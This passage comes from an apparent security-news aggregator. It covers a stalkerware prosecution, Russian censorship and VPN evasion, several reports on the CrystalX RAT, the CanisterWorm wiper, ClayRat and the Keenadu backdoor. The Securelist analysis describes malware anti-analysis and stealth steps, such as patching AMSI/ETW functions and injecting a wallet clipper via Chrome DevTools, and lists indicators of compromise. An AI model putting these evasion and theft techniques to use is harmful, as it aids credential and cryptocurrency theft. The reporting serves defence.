targeting civil society members. This has raised two possibilities: either it's the work of a hack-for-hire operation with ties to Bitter or the threat actor itself is behind it, in which case it could indicate an expansion of its targeting scope. "We do not know whether this represents an expansion of Bitter's role, or if it is an indication of overlap between Bitter and an unknown hack-for-hire group," Lookout added. "What we do know is that mobile malware continues to be a primary means of spying on civil society, whether it is purchased through a commercial surveillance vendor, outsourced to a hack-for-hire organization, or deployed directly by a nation state."
thehackernews.comApr 9, 2026extracted
First stalkerware maker prosecuted since 2014 receives no jail time
First stalkerware maker prosecuted since 2014 receives no jail time The first stalkerware manufacturer convicted in the U.S. since 2014 received no jail time at his Friday sentencing. Bryan Fleming, founder of pcTattletale, was ordered to pay a $5,000 fine by a San Diego federal judge and will spend no time in prison beyond the one day he already served. In January, he pleaded guilty to one count of manufacturing, distributing, possessing and advertising wire, oral or electronic communication intercepting devices. Fleming’s Michigan-based stalkerware company sold a surveillance product that was marketed as a way for people to spy on spouses and others without their consent. His conviction could be a harbinger of more stalkerware convictions to come and was the result of a long-running Homeland Security Investigations (HSI) probe. pcTattletale was one of more than 100 stalkerware companies investigated by HSI beginning in June 2021, according to a search warrant affidavit in the case. Fleming was brazen in his marketing of pcTattletale and posted a video on YouTube promoting its use for catching a “spouse you’re worried about [if] you don’t think they’re being honest.” “You put it on their Android phone, they won't be able to see it,” Fleming said in the video. “As they use their Android phone and click around, you see a movie of everything they've done.” The pcTattletale website warned users not to use the app illegally, but at the same time frequently promoted how it could easily be used to surreptitiously spy on romantic partners and employees without their consent. The app “has been developed for over 15 years and has helped thousands of spouses, family’s [sic], and employers just like you,” according to an affidavit description of the pcTattletale’s website. A lawyer for Fleming did not respond to a request for comment. TechCrunch was first to report on his sentencing. Criminal prosecutions of stalkerware makers have been rare, experts say. The Federal Trade Commission has penalized stalkerware companies, but the lack of prosecutions has contributed to a burgeoning marketplace for the products. Suzanne Smalley is a reporter covering digital privacy, surveillance technologies and cybersecurity policy for The Record. She was previously a cybersecurity reporter at CyberScoop. Earlier in her career Suzanne covered the Boston Police Department for the Boston Globe and two presidential campaign cycles for Newsweek. She lives in Washington with her husband and three children.
therecord.mediaApr 6, 2026extracted
Internet in Russia al rallentatore: fra restrizioni e aggiramenti, ecco il futuro della rete dello zar
La libertà di accesso a Internet in Russia è oggetto di una pressione crescente e sistematica da parte delle autorità, che negli ultimi anni hanno investito ingenti risorse economiche nella costruzione di un’infrastruttura di censura tra le più sofisticate al mondo. Il quadro che emerge è quello di una dinamica continua tra restrizione e aggiramento, in cui da un lato lo Stato affina i propri strumenti di controllo e dall’altro milioni di cittadini cercano soluzioni tecniche alternative per accedere a contenuti bloccati. Comprendere le modalità operative di questo sistema è fondamentale per chiunque si occupi di sicurezza digitale, politiche della rete e diritti civili nell’era dell’informazione. Indice degli argomenti Il cuore dell’infrastruttura censoria russa è il cosiddetto deep packet inspection, una tecnica di analisi del traffico di rete che consente di esaminare i dati in transito e di interrompere selettivamente le connessioni verso risorse considerate non ammissibili. Ogni provider di servizi Internet operante sul territorio russo è tenuto per legge a installare appositi apparati hardware, gestiti da Roskomnadzor, l’ente federale per la supervisione delle telecomunicazioni. La Russia prevede di estendere questo monitoraggio fino al cento per cento del traffico nazionale, un obiettivo che rappresenta un salto qualitativo significativo rispetto alle capacità attuali. throttling Parallelamente al filtraggio puntuale, le autorità hanno perfezionato la tecnica del throttling, ossia il rallentamento intenzionale delle connessioni verso determinati servizi, portato a un livello tale da rendere praticamente inutilizzabili le piattaforme prese di mira. Questa strategia è stata applicata in modo massiccio a YouTube a partire dal 2024: il degrado della qualità del servizio è stato tale da indurre le autorità russe a sostenere pubblicamente che il problema fosse imputabile a una mancata manutenzione dell’infrastruttura locale da parte di Google, affermazione che la società statunitense ha smentito. Il throttling si distingue dal blocco diretto perché non produce un errore esplicito di connessione, rendendo più difficile per l’utente medio comprendere la natura del problema e più agevole per le autorità negare qualsiasi responsabilità. Cloudflare Un caso emblematico riguarda Cloudflare, azienda statunitense che fornisce servizi di sicurezza e ottimizzazione a una quota compresa tra il venti e il trenta per cento dei siti web a livello globale. Nel 2023, Cloudflare ha adottato un protocollo volto a limitare la possibilità per i gestori di rete di monitorare l’attività degli utenti. La risposta russa è stata immediata: le autorità hanno avviato il throttling di numerosi siti che fanno uso di tale servizio, con la conseguenza che spesso vengono caricati solo i primi sedici kilobyte di una pagina, rendendola di fatto inaccessibile. Secondo Arturo Filastò, fondatore dell’Open Observatory of Network Interference, organizzazione che monitora la censura in rete a livello mondiale, questo tipo di risposta dimostra che la Russia si colloca oggi all’avanguardia nello sviluppo di tecniche di controllo del traffico Internet, anche rispetto agli standard tecnici attualmente in fase di definizione a livello internazionale. sistema nazionale di DNS Sul piano normativo, la legislazione russa è stata progressivamente adeguata per dare copertura giuridica a queste pratiche. Una legge recente attribuisce alle autorità la facoltà di interrompere l’accesso alla rete mobile su tutto il territorio nazionale senza dover fornire alcuna giustificazione. Esistono inoltre sistemi di liste bianche, compilate dal Ministero della Trasformazione Digitale e dagli operatori mobili, che identificano le risorse accessibili anche in caso di interruzione del servizio. Un’analisi condotta dal New York Times su tali elenchi ha rilevato che circa la metà dei cinquanta siti più visitati in Russia, secondo i dati di Similarweb, non figura nelle liste e risulterebbe quindi bloccata in caso di shutdown, inclusi i principali servizi di origine straniera. Accanto a ciò, si sta lavorando alla creazione di un sistema nazionale di Domain Name System per facilitare il blocco dei siti, nonché di una banca dati dei codici IMEI, gli identificativi univoci dei dispositivi mobili, che potrebbe consentire in futuro di bloccare la connettività di singoli utenti indipendentemente dalla SIM utilizzata. Di fronte a queste misure, la risposta della popolazione è stata massiccia. Decine di milioni di russi hanno installato VPN per aggirare i blocchi, e secondo Sarkis Darbinyan, fondatore dell’organizzazione per i diritti digitali RKS Global, entro la fine del 2026 circa la metà degli utenti Internet russi farà ricorso a tali strumenti, avvicinando la Russia alla situazione iraniana in termini di diffusione dell’elusione della censura. Le autorità hanno risposto con misure specifiche: Roskomnadzor ha limitato l’accesso a 469 servizi VPN, ha bloccato oltre dodicimila seicento risorse online che spiegano come utilizzarli, ha vietato la pubblicità di tali strumenti e ha contribuito alla rimozione di decine di applicazioni VPN dall’App Store di Apple. Per il 2026 è previsto uno stanziamento di venticinque milioni di dollari per sviluppare tecnologie basate sull’intelligenza artificiale in grado di riconoscere e bloccare il traffico instradato attraverso VPN, da integrare direttamente nell’hardware già installato presso i provider. DeltaChat: come eludono i blocchi delle VPN Sul fronte tecnico, si registra una crescente attenzione verso soluzioni più sofisticate. Nella sola seconda settimana di febbraio 2026, il termine VLESS, un protocollo di comunicazione progettato per eludere i blocchi delle VPN tradizionali, ha generato oltre cinquantacinquemila ricerche sul motore di ricerca russo Yandex, uno dei valori più alti registrati dall’introduzione del protocollo nel 2020. Parallelamente, si segnala un aumento delle ricerche relative a sistemi di mesh network prodotti da aziende cinesi: si tratta di reti decentralizzate di dispositivi che comunicano direttamente tra loro, potenzialmente in grado di operare anche in condizioni di blocco della rete tradizionale. Tra gli utenti più avanzati vi è chi auspica che Pavel Durov, fondatore di Telegram, possa integrare nell’applicazione funzionalità basate su questi principi: con centinaia di milioni di utenti, un protocollo mesh nativo su Telegram potrebbe teoricamente offrire un’alternativa robusta alle restrizioni. Un’altra applicazione che potrebbe guadagnare terreno è DeltaChat, che si distingue per basarsi sull’infrastruttura di posta elettronica esistente. Gli esperti del settore sottolineano che, nel medio e lungo periodo, la persistenza degli ostacoli tecnici potrebbe produrre un effetto selettivo. Solo gli utenti più motivati e tecnicamente preparati continueranno ad aggirare attivamente la censura. Invece, una parte crescente della popolazione tenderà a ripiegare sulle applicazioni e sui servizi di origine russa, più semplici da usare e non soggetti a rallentamenti o blocchi. Come osserva Ksenia Ermoshina, ricercatrice specializzata nella censura digitale russa, nei momenti di necessità le persone privilegiano ciò che funziona, senza dedicare risorse cognitive alla valutazione della sicurezza o della provenienza dei servizi utilizzati. È in questo meccanismo che risiede forse il rischio più profondo per la libertà di informazione: non tanto nel blocco tecnico, quanto nella normalizzazione di un ecosistema digitale alternativo, chiuso e controllato, che finisce per essere percepito come l’unica opzione praticabile.
cybersecurity360.itApr 2, 2026extracted
Sophisticated CrystalX RAT Emerges
A new malware-as-a-service (MaaS) has been promoted on Telegram as combining spyware, stealer, and remote access capabilities, Kaspersky reports. Named CrystalX RAT, it emerged in January, when it was offered as Webcrystal RAT. Featuring a control panel identical to WebRAT, it was later rebranded, and its developer started promoting it both on Telegram and YouTube. The malware control panel offers access to an auto‑builder featuring options such as geo-blocking and anti‑analysis, and allows users to generate compressed and encrypted implants. Written in Go, the RAT establishes a WebSocket connection to its command-and-control (C&C) server immediately after execution, then starts collecting system information. After sending the collected system data, the malware executes an information-stealing module that harvests Discord, Steam, and Telegram credentials, as well as data from Chrome-based browsers. The RAT also packs a keylogger module that instantly sends all user input to the C&C via WebSocket. It also allows operators to read and modify the victim’s clipboard and can inject a malicious clipper into Chrome and Edge, Kaspersky notes. CrystalX RAT supports multiple remote access commands, allowing operators to upload files, browse files, or execute commands. Courtesy of an integrated VCN, it also enables operators to control the victim’s screen remotely and can capture audio and video streams using the system’s microphone and camera. “Since both the attacker and the victim use the same session, the panel provides a number of buttons to block user input so that the attacker can perform necessary actions unhindered,” Kaspersky explains. The control panel also provides access to a series of separate commands that allow users to prank their victims, the cybersecurity firm says. Using these commands, the operators can change the desktop background, change the screen orientation, shut down the device, remap mouse buttons, disconnect peripherals, display custom notifications, change cursor position chaotically, and disable various GUI components. “Moreover, the attacker can send a message to the victim, after which a dialog window will open in the system, allowing a bidirectional chat,” Kaspersky notes. The cybersecurity firm says CrystalX RAT has already infected dozens of individuals. Although it has been used only in Russia, the MaaS does not have regional restrictions and could soon be used globally. “Moreover, our telemetry has recorded new implant versions, which indicates that this malware is still being actively developed and maintained. Combined with the growing PR campaign for CrystalX RAT, it can be concluded that the number of victims can increase significantly in the near future,” Kaspersky says. Related: New DeepLoad Malware Dropped in ClickFix Attacks Related: Axios NPM Package Breached in North Korean Supply Chain Attack Related: Iranian Hackers Likely Used Malware-Stolen Credentials in Stryker Breach Related: ‘BlackSanta’ Malware Activates EDR and AV Killer Before Detonating Payload
securityweek.comApr 2, 2026extracted
New CrystalRAT malware adds RAT, stealer and prankware features
A new malware-as-a-service called CrystalRAT is being promoted on Telegram, offering remote access, data theft, keylogging, and clipboard hijacking capabilities. The malware emerged in January with a tiered subscription model. Apart from the Telegram channel, the MaaS was also promoted on YouTube via a dedicated marketing channel that showcased its capabilities. Kaspersky researchers say in a report today that the malware features strong similarities to WebRAT (Salat Stealer), including the same panel design, Go-based code, and a similar bot-based sales system. CrystalX also includes an extensive list of prankware features designed to annoy the user or disrupt their work. Despite its "fun" side, CrystalX offers a large set of data theft capabilities. CrystalX RAT details Kaspersky says that the malware provides a user-friendly control panel and an automated builder tool that supports customization options, including geoblocking, executable customization, and anti-analysis features (anti-debugging, VM detection, proxy detection, etc.). The generated payloads are zlib-compressed and encrypted with the ChaCha20 symmetric stream cipher for protection. The malware connects to the command-and-control (C2) via WebSocket and sends info about the host for profiling and infection tracking. CrystalX’s infostealer component, which Kaspersky found to be temporarily disabled as it is being prepared for an upgrade, targets Chromium-based browsers via the ChromeElevator tool, Yandex, and Opera. Additionally, the tool collects data from desktop apps such as Steam, Discord, and Telegram. The remote access module can be used to execute commands via CMD, upload/download files, browse the file system, and control the machine in real time via built-in VNC. The malware also exhibits spyware-like behavior, as it can capture video and audio from the microphone. Finally, CrystalX features a keylogger that streams keystrokes in real time to the C2, and a clipper tool that uses regular expressions to detect wallet addresses in the clipboard and replace them with ones the attacker provides. Adding some “fun” to the mix What sets CrystalX apart in the crowded MaaS space is its rich set of prankware features. According to Kaspersky, the malware can do the following on infected devices: change desktop wallpaper alter display orientation to various angles force system shutdown remap mouse buttons disable input devices (keyboard/mouse/monitor) show fake notifications change the cursor position on the screen hide various components (desktop icons, taskbar, the Task Manager, and the Command Prompt executable) provide an attacker-victim chat window While the above features do not improve the attack’s monetization potential for cybercriminals, they certainly make the product distinctive and could bait script kiddies and low-skilled/entry-level threat actors into getting a subscription. Another reason for the prank features could be potential for victim manipulation, or even distraction, while the data theft modules run in the background. To reduce the risk of malware infections, users are advised to exercise caution when interacting with online content and avoid downloading software or media from untrusted or unofficial sources. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comApr 1, 2026extracted
CrystalX RAT: a Trojan for pranks, remote access, and cryptocurrency theft | Kaspersky official blog
While this post comes out on April 1, the threat described has little to do with April Fools’ Day — except for the fact that the CrystalX malicious RAT, discovered by Kaspersky experts, can do more than just gain remote access to a victim’s device, steal cryptocurrency and credentials from browsers and apps, or conduct actual surveillance. It can also flip the victim’s screen, swap mouse buttons, write nonsense directly onto the screen, and even block keyboard input. Furthermore, it’s advertised as malware-as-a-service (MaaS) — meaning it’s subscription-based — on Telegram and through instructional videos on YouTube. In this post, we explain some basics as to how this new malware was built, what makes it difficult to detect, and what to do so you don’t end up among its victims. A Swiss army knife for attackers In March 2026, our experts discovered previously unknown malware circulating on private Telegram channels. Borrowing from classic marketing tactics, the Trojan was offered for purchase via three different subscription tiers. Its capabilities cover a fairly broad spectrum: judge for yourself what it can do to a victim’s computer: Change desktop wallpaper to an image from a specified link Rotate the screen by 90, 180, or 270 degrees Simply shut down the computer Swap mouse button assignments Chat with the victim Block both keyboard input and monitor output Display any notification text chosen by the attacker Disable specific components, such as Task Manager, the command prompt, and the Windows taskbar Yet that’s only the harmless side of the malware — the prank functionality that harks back to the joke viruses of past decades. The real damage from CrystalX comes from its stealing login credentials for Steam, Discord, Telegram, and all Chromium-based browsers. It can also monitor and change the contents of the clipboard; typically, attackers watch for a crypto wallet address to be copied, and then swap it with their own. This is a popular scheme for stealing crypto: while intending to make a legitimate transfer, the victim copies the recipient’s wallet address, but ends up pasting the scammers’ address instead. But there’s more: a keylogger feature and full device control with remote access to the screen, camera, and microphone — including video and sound recording capabilities. The malware was first mentioned in January 2026 in a private Telegram chat for RAT developers. At that time, this Windows Trojan was called WebCrystal RAT and, based on technical details, was revealed to be a clone of another RAT known as WebRat. A short time later, the author of WebCrystal rebranded it as CrystalX RAT, and began touting the Trojan on a newly created Telegram channel. The initial infection vector for this stealer is currently unknown, but according to telemetry the victims at the time of writing are predominantly located in Russia. And since we’re continuing to find new versions of the malware, we deem it a rapidly growing and evolving threat. Anyone can become a hacker Developing any complex cyberattack used to come with a steep learning curve. You needed to understand cryptography and network protocols, and know how to write code that could fool antivirus solutions. It was a high bar to clear, but the malware-as-a-service model has been changing the game. These days, an attacker only needs basic computer literacy to rent a ready-made platform with a user-friendly user interface. The threat is becoming widespread specifically because malware creators aren’t carrying out the attacks themselves anymore — they’re selling shovels during a gold rush. They focus on supporting their customers, improving the user interface, and pouring money into aggressive marketing. Hackers are even setting up YouTube channels where they use the pretext of “for educational and entertainment purposes” to explain how to manage the Trojan from the control panel. Instructional videos that were once buried in the dark web have gone mainstream, putting hacking techniques in front of a broad, general audience. How CrystalX bypasses security No matter how technically advanced a hacking app’s code is, it will die as a project without a constant stream of new clients. This makes marketing efforts vital to its survival — even if they significantly increase the risk of the developer ending up behind bars. However, the creators of CrystalX have figured out how to protect their creation. The control panel allows clients to build their own unique versions of the Trojan with extensive configuration options. For example, they can enable location filtering to target users in specific countries, choose an icon for the executable file, and toggle anti-analysis features. The finished Trojan is compressed using zlib and then encrypted with a ChaCha20 stream cipher using a 256-bit key and a 96-bit nonce. This ensures that every customer receives a unique version of the malware. CrystalX is also capable of detecting virtual machines and checking if it’s running in a test or debugging environment, which complicates discovery. You can read more about the structure and functionality of this new Trojan in our Securelist story. The good news for Kaspersky users is that our security solutions both detect and neutralize CrystalX. How to avoid becoming a victim Here are a few simple tips to help you avoid infection by CrystalX and other similar malware: Pay attention if your computer starts acting up. Spontaneous screen rotation, the keyboard or mouse behaving erratically or locking up, and random notifications or chat windows can all be signs of a CrystalX infection. If anything like that happens, kill the internet connection immediately by physically unplugging the Ethernet cable or toggling off the Wi-Fi. Then, use a flash drive to install our security suite to root out the virus. Make sure you download software only from official websites and trusted marketplaces. Avoid pirated software, license key generators, and free versions of paid applications: these builds are the most common hiding spots for Trojans. Don’t fall for “tutorial” videos that push questionable tools for “administration”, “optimization”, or “security testing”. If the blogger says you should disable your antivirus to complete installation, that’s a major red flag and a reason to stop watching. Be careful with files you receive through messaging apps. Password-protected archives containing “important documents” or “cool private builds” are typical containers for malicious software. Keep your accounts secure. Enable two-factor authentication and passkeys for your most critical services: email, messaging apps, gaming platforms, and crypto exchanges. Kaspersky Password Manager is an excellent tool for this. Regularly update your operating system and apps. Fresh patches plug security holes that let malware slip onto your system silently and without any interaction from your side. Use a reliable security suite, such as Kaspersky Premium. It detects and blocks Trojan installation or download attempts. Read more about remote access Trojans, miners, crypto-stealers, and other digital nasties:
kaspersky.comApr 1, 2026extracted
A laughing RAT: CrystalX combines spyware, stealer, and prankware features
Introduction In March 2026, we discovered an active campaign promoting previously unknown malware in private Telegram chats. The Trojan was offered as a MaaS (malware‑as‑a‑service) with three subscription tiers. It caught our attention because of its extensive arsenal of capabilities. On the panel provided to third‑party actors, in addition to the standard features of RAT‑like malware, a stealer, keylogger, clipper, and spyware are also available. Most surprisingly, it also includes prankware capabilities: a large set of features designed to trick, annoy, and troll the user. Such a combination of capabilities makes it a rather unique Trojan in its category. Kaspersky’s products detect this threat as Backdoor.Win64.CrystalX.*, Trojan.Win64.Agent.*, Trojan.Win32.Agentb.gen. Technical details Background The new malware was first mentioned in January 2026 in a private Telegram chat for developers of RAT malware. The author actively promoted their creation, called Webcrystal RAT, by attaching screenshots of the web panel. Many users observed that the panel layout was identical to that of the previously known WebRAT (also called Salat Stealer), leading them to label this malware as a copy. Additional similarities included the fact that the RAT was written in Go, and the messages from the bot selling access keys to the control panel closely matched those of the WebRAT bots. After some time, this malware was rebranded and received a new name, CrystalX RAT. Its promotion moved to a corresponding new channel, which is quite busy and features marketing tricks, such as access key draws and polls. Moreover, it expanded beyond Telegram: a special YouTube channel was created, aimed at marketing promotion and already containing a video review of the capabilities of this malware. The builder and anti-debug features By default, the malware control panel provides third parties with an auto‑builder featuring a wide range of configurations, such as selective geoblocking by country, anti‑analysis functions, an executable icon, and others. Each implant is compressed using zlib and then encrypted with ChaCha20 and a hard‑coded 32‑byte key with a 12‑byte nonce. The malware has basic anti‑debugging functionality combined with additional optional capabilities: MITM Check: checking if a proxy is enabled by reading the registry value HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings , blacklisting names of certain processes (Fiddler, Burp Suite, mitmproxy, etc.), and verifying the presence of installed certificates for the corresponding programs VM detect: checking running processes, presence of guest tools, and hardware characteristics Anti-attach loop: an infinite loop checking the debug flag, debug port, hardware breakpoints, and program execution timings Stealth patches: patches for functions such as AmsiScanBuffer ,EtwEventWrite ,MiniDumpWriteDump Stealer capabilities When launched, the malware establishes a connection to its C2 using a hard‑coded URL over the WebSocket protocol. It performs an initial collection of system information, after which all data is sent in JSON format as plain text. Then the malware executes the stealer function, doing so either once or at predefined intervals depending on the build options. The stealer extracts the victim’s credentials for Steam, Discord, and Telegram from the system. It also gathers data from Chromium‑based browsers using the popular ChromeElevator utility. To do this, it decodes and decompresses the utility using base64 and gunzip and saves it to %TEMP%\svc[rndInt].exe, then creates a directory %TEMP%\co[rndInt], where the collected data is stored, and finally runs ChromeElevator with all available options. The collected data is exfiltrated to the C2. For Yandex and Opera browsers, the stealer has a separate proprietary implementation with base decryption directly on the victim’s system. Notably, the builds created at the time the article was written lack the stealer functionality. OSINT results show that the author intentionally removed it with the aim to update the stealer arsenal before enabling it again. Keylogger & clipper Another option of the RAT is the keylogger. All user input is instantly transmitted via WebSocket to the C2, where it is assembled into a coherent text suitable for analysis. Additionally, the malware allows the attacker to read and modify the victim’s clipboard by issuing appropriate commands from the control panel. Moreover, it can inject a malicious clipper into the Chrome or Edge browser. This happens according to the following algorithm: The special malware command clipper:set:[ADDR1,...] with the attackers’ crypto‑wallets addresses passed as arguments launches the clipper injection thread. A %LOCALAPPDATA%\Microsoft\Edge\ExtSvc directory is created (regardless whether Edge or Chrome is the target of the injection), in which a malicious extension is stored, consisting of a manifest and a single JS script namedcontent.js . The content.js script is dynamically generated, containing regular expressions for crypto wallet addresses (such as Bitcoin, Litecoin, Monero, Avalanche, Doge, and others) and substitution values. The generated script is activated via the Chrome DevTools (CDP) protocol using the command Page.addScriptToEvaluateOnNewDocument . The final script looks as follows: Remote access The malware has a large set of commands for remote access to the victim’s system. The attacker can upload arbitrary files, execute any commands using cmd.exe, and also browse the file system, including all available drives. Moreover, the RAT includes its own VNC that allows the attacker to view the victim’s screen and control it remotely. Since both the attacker and the victim use the same session, the panel provides a number of buttons to block user input so that the attacker can perform necessary actions unhindered. The malware can also capture the audio stream from the microphone and the video stream from the camera in the background. Prank commands The finishing touch is a separate section of the panel named “Rofl” with commands whose functions consist of various pranks on the victim. Setting a background: downloading an image from a specified URL and using it as the desktop background. Display orientation: rotating the screen 90°, 180°, or 270°. System shutdown: the panel has two different buttons “Voltage Drop” and “BSoD”, but malware analysis shows that both commands perform a regular shutdown using the appropriate utility. Remapping mouse buttons: swapping left click with right click and the other way round. Peripherals disruption: disconnecting the monitor and blocking the input from the mouse and keyboard. Notifications: displaying a window with a custom title and message. Cursor shake: a special command starts a loop in which the cursor position changes chaotically at short intervals. Disabling components: hiding all file icons on the desktop, disabling the taskbar, task manager, and cmd.exe . Moreover, the attacker can send a message to the victim, after which a dialog window will open in the system, allowing a bidirectional chat. Conclusions The sheer variety of available RATs has perpetuated demand, as actors prioritize flexibility of existing malware and its infrastructure. Thus, CrystalX RAT represents a highly functional MaaS platform that is not limited to espionage capabilities – spyware, keylogging and remote control – but includes unique stealer and prankware features. At the moment, the vector of the initial infection is not precisely known, but it affects dozens of victims. Although to date, we have only seen infection attempts in Russia, the MaaS itself has no regional restrictions meaning it may attack anywhere around the globe. Moreover, our telemetry has recorded new implant versions, which indicates that this malware is still being actively developed and maintained. Combined with the growing PR campaign for CrystalX RAT, it can be concluded that the number of victims can increase significantly in the near future. Indicators of Compromise C2 infrastructure webcrystal[.]lol webcrystal[.]sbs crystalxrat[.]top CrystalX RAT implants 47ACCB0ECFE8CCD466752DDE1864F3B0 2DBE6DE177241C144D06355C381B868C 49C74B302BFA32E45B7C1C5780DD0976 88C60DF2A1414CBF24430A74AE9836E0 E540E9797E3B814BFE0A82155DFE135D 1A68AE614FB2D8875CB0573E6A721B46
securelist.comApr 1, 2026extracted
‘CanisterWorm’ Springs Wiper Attack Targeting Iran
A financially motivated data theft and extortion group is attempting to inject itself into the Iran war, unleashing a worm that spreads through poorly secured cloud services and wipes data on infected systems that use Iran’s time zone or have Farsi set as the default language. Experts say the wiper campaign against Iran materialized this past weekend and came from a relatively new cybercrime group known as TeamPCP. In December 2025, the group began compromising corporate cloud environments using a self-propagating worm that went after exposed Docker APIs, Kubernetes clusters, Redis servers, and the React2Shell vulnerability. TeamPCP then attempted to move laterally through victim networks, siphoning authentication credentials and extorting victims over Telegram. In a profile of TeamPCP published in January, the security firm Flare said the group weaponizes exposed control planes rather than exploiting endpoints, predominantly targeting cloud infrastructure over end-user devices, with Azure (61%) and AWS (36%) accounting for 97% of compromised servers. “TeamPCP’s strength does not come from novel exploits or original malware, but from the large-scale automation and integration of well-known attack techniques,” Flare’s Assaf Morag wrote. “The group industrializes existing vulnerabilities, misconfigurations, and recycled tooling into a cloud-native exploitation platform that turns exposed infrastructure into a self-propagating criminal ecosystem.” On March 19, TeamPCP executed a supply chain attack against the vulnerability scanner Trivy from Aqua Security, injecting credential-stealing malware into official releases on GitHub actions. Aqua Security said it has since removed the harmful files, but the security firm Wiz notes the attackers were able to publish malicious versions that snarfed SSH keys, cloud credentials, Kubernetes tokens and cryptocurrency wallets from users. Over the weekend, the same technical infrastructure TeamPCP used in the Trivy attack was leveraged to deploy a new malicious payload which executes a wiper attack if the user’s timezone and locale are determined to correspond to Iran, said Charlie Eriksen, a security researcher at Aikido. In a blog post published on Sunday, Eriksen said if the wiper component detects that the victim is in Iran and has access to a Kubernetes cluster, it will destroy data on every node in that cluster. “If it doesn’t it will just wipe the local machine,” Eriksen told KrebsOnSecurity. CanisterWorm” because the group orchestrates their campaigns using an Internet Computer Protocol (ICP) canister — a system of tamperproof, blockchain-based “smart contracts” that combine both code and data. ICP canisters can serve Web content directly to visitors, and their distributed architecture makes them resistant to takedown attempts. These canisters will remain reachable so long as their operators continue to pay virtual currency fees to keep them online. Eriksen said the people behind TeamPCP are bragging about their exploits in a group on Telegram and claim to have used the worm to steal vast amounts of sensitive data from major companies, including a large multinational pharmaceutical firm. “When they compromised Aqua a second time, they took a lot of GitHub accounts and started spamming these with junk messages,” Eriksen said. “It was almost like they were just showing off how much access they had. Clearly, they have an entire stash of these credentials, and what we’ve seen so far is probably a small sample of what they have.” Security experts say the spammed GitHub messages could be a way for TeamPCP to ensure that any code packages tainted with their malware will remain prominent in GitHub searches. In a newsletter published today titled GitHub is Starting to Have a Real Malware Problem, Risky Business reporter Catalin Cimpanu writes that attackers often are seen pushing meaningless commits to their repos or using online services that sell GitHub stars and “likes” to keep malicious packages at the top of the GitHub search page. This weekend’s outbreak is the second major supply chain attack involving Trivy in as many months. At the end of February, Trivy was hit as part of an automated threat called HackerBot-Claw, which mass exploited misconfigured workflows in GitHub Actions to steal authentication tokens. Eriksen said it appears TeamPCP used access gained in the first attack on Aqua Security to perpetrate this weekend’s mischief. But he said there is no reliable way to tell whether TeamPCP’s wiper actually succeeded in trashing any data from victim systems, and that the malicious payload was only active for a short time over the weekend. “They’ve been taking [the malicious code] up and down, rapidly changing it adding new features,” Eriksen said, noting that when the malicious canister wasn’t serving up malware downloads it was pointing visitors to a Rick Roll video on YouTube. “It’s a little all over the place, and there’s a chance this whole Iran thing is just their way of getting attention,” Eriksen said. “I feel like these people are really playing this Chaotic Evil role here.” Cimpanu observed that supply chain attacks have increased in frequency of late as threat actors begin to grasp just how efficient they can be, and his post documents an alarming number of these incidents since 2024. “While security firms appear to be doing a good job spotting this, we’re also gonna need GitHub’s security team to step up,” Cimpanu wrote. “Unfortunately, on a platform designed to copy (fork) a project and create new versions of it (clones), spotting malicious additions to clones of legitimate repos might be quite the engineering problem to fix.” Update, 2:40 p.m. ET: Wiz is reporting that TeamPCP also pushed credential stealing malware to the KICS vulnerability scanner from Checkmarx, and that the scanner’s GitHub Action was compromised between 12:58 and 16:50 UTC today (March 23rd).
krebsonsecurity.comMar 23, 2026extracted
Russia-linked malware operation collapses after security failures, developer’s arrest
Russia-linked malware operation collapses after security failures, developer’s arrest An Android spyware operation that briefly gained traction in Russia appears to have collapsed within months of its launch after security flaws exposed its infrastructure and authorities arrested its suspected developer, cybersecurity researchers said. The malware, known as ClayRat, was designed for espionage and remote control of infected Android devices. Once installed, it could intercept SMS messages and call logs, access contacts, take photos, record screens, and execute commands sent from a remote command-and-control server. Despite attracting attention shortly after emerging in October 2025, ClayRat’s infrastructure deteriorated rapidly. By December, all known command servers associated with the malware had gone offline, researchers at the Russian cybersecurity firm Solar said in a report released Friday. Solar is a subsidiary of Russian state-owned telecom giant Rostelecom. The shutdown appears to coincide with the arrest in the Russian city Krasnodar of a student suspected of developing the malware. He allegedly marketed ClayRat through Telegram channels using a subscription model that charged customers $90 per week or $300 per month, or took a 15% share of revenue generated through the malware. At its peak, ClayRat was expanding rapidly, according to a previous report by security firm Zimperium, which identified more than 600 malware samples and around 50 droppers used to install it over the course of three months. The malware was primarily distributed through phishing websites and applications disguised as legitimate services, including platforms mimicking WhatsApp, Google Photos, TikTok, and YouTube, as well as Russian taxi and parking apps. Researchers said the campaign largely targeted users in Russia. According to Solar, the project’s collapse was accelerated by a series of technical and operational mistakes by its developer. The malware contained multiple weaknesses, they said, including passwords stored in plaintext, weak code obfuscation, and a reliance on obvious command names that made its functions easier to identify. Distribution methods were also predictable, with the malware promoted openly on Telegram and delivered through phishing sites impersonating well-known applications. “Despite its ambitious functionality, ClayRat followed the path of many short-lived Android remote access trojans,” Solar said. “After a brief spike in activity, its infrastructure deteriorated, the project appears to have been abandoned, and its creators are now being pursued by law enforcement.” Solar noted that ClayRat’s collapse mirrors the fate of other recent malware projects. A banking trojan known as Gorilla, launched last year, also shut down within months after its operators made similar security mistakes. Daryna Antoniuk is a reporter for Recorded Future News based in Ukraine. She writes about cybersecurity startups, cyberattacks in Eastern Europe and the state of the cyberwar between Ukraine and Russia. She previously was a tech reporter for Forbes Ukraine. Her work has also been published at Sifted, The Kyiv Independent and The Kyiv Post.
therecord.mediaMar 23, 2026extracted
Keenadu Firmware Backdoor Infects Android Tablets via Signed OTA Updates
A new Android backdoor that's embedded deep into the device firmware can silently harvest data and remotely control its behavior, according to new findings from Kaspersky. The Russian cybersecurity vendor said it discovered the backdoor, dubbed Keenadu, in the firmware of devices associated with various brands, including Alldocube, with the compromise occurring during the firmware build phase. Keenadu has been detected in Alldocube iPlay 50 mini Pro firmware dating back to August 18, 2023. In all cases, the backdoor is embedded within tablet firmware, and the firmware files carry valid digital signatures. The names of the other vendors were not disclosed. "In several instances, the compromised firmware was delivered with an OTA update," security researcher Dmitry Kalinin said in an exhaustive analysis published today. "A copy of the backdoor is loaded into the address space of every app upon launch. The malware is a multi-stage loader granting its operators the unrestricted ability to control the victim's device remotely." Some of the payloads retrieved by Keenadu allow it to hijack the search engine in the browser, monetize new app installs, and stealthily interact with ad elements. One of the payloads has been found embedded in several standalone apps distributed via third-party repositories, as well as official app marketplaces like Google Play and Xiaomi GetApps. Telemetry data suggests that 13,715 users worldwide have encountered Keenadu or its modules, with the majority of 